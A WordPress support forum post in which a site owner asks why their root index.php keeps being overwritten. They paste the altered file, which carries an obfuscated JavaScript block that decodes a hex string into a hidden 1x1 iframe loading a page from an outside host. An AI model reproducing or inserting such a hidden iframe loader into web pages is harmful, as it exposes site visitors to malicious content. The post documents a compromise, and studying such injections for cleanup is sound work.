Index.php file in root dir keeps changing and disabling site – Hacked?
-
My index.php file in the root dir (WWW) should look like this:
<?php
/* Short and sweet */
define(‘WP_USE_THEMES’, true);
require(‘./wp-blog-header.php’);
?>It Changes by itself every several hours to This:
<?php<script type=”text/javascript”>
function CD6384633F353B1396D(B5635AC29A86560115DE03A){function EAD7E4C4E9F091E56D1C9FE34583A5E5(){var EC407A783CF6DB252F7E6CB0A4B6450D=16;return EC407A783CF6DB252F7E6CB0A4B6450D;}return(parseInt(B5635AC29A86560115DE03A,EAD7E4C4E9F091E56D1C9FE34583A5E5()));}function C939DE28B8E5BC28CBBC9D6(A70DE68E59771F46F023A11038E4FE9){function D9D54C05E46CACB4D1406197EADE094D(){return 2;}var AADEE34F9FDF67C2E=””;for(CC4B6642370B181233866=0;CC4B6642370B181233866<A70DE68E59771F46F023A11038E4FE9.length;CC4B6642370B181233866+=D9D54C05E46CACB4D1406197EADE094D()){AADEE34F9FDF67C2E+=(String.fromCharCode(CD6384633F353B1396D(A70DE68E59771F46F023A11038E4FE9.substr(CC4B6642370B181233866,D9D54C05E46CACB4D1406197EADE094D()))));}document.write(AADEE34F9FDF67C2E);}C939DE28B8E5BC28CBBC9D6(“3C696672616D65207372633D22687474703A2F2F6D6172736F686F64696B692E6E65742F6367692D62696E2F696E6465782E6367693F6865726E222077696474683D31206865696768743D31207374796C653D227669736962696C6974793A68696464656E3B706F736974696F6E3A6162736F6C757465223E3C2F696672616D653E”);
</script>/* Short and sweet */
define(‘WP_USE_THEMES’, true);
require(‘./wp-blog-header.php’);
?>I have to keep uploading the correct file to keep the site operating. Any suggestions?
- The topic ‘Index.php file in root dir keeps changing and disabling site – Hacked?’ is closed to new replies.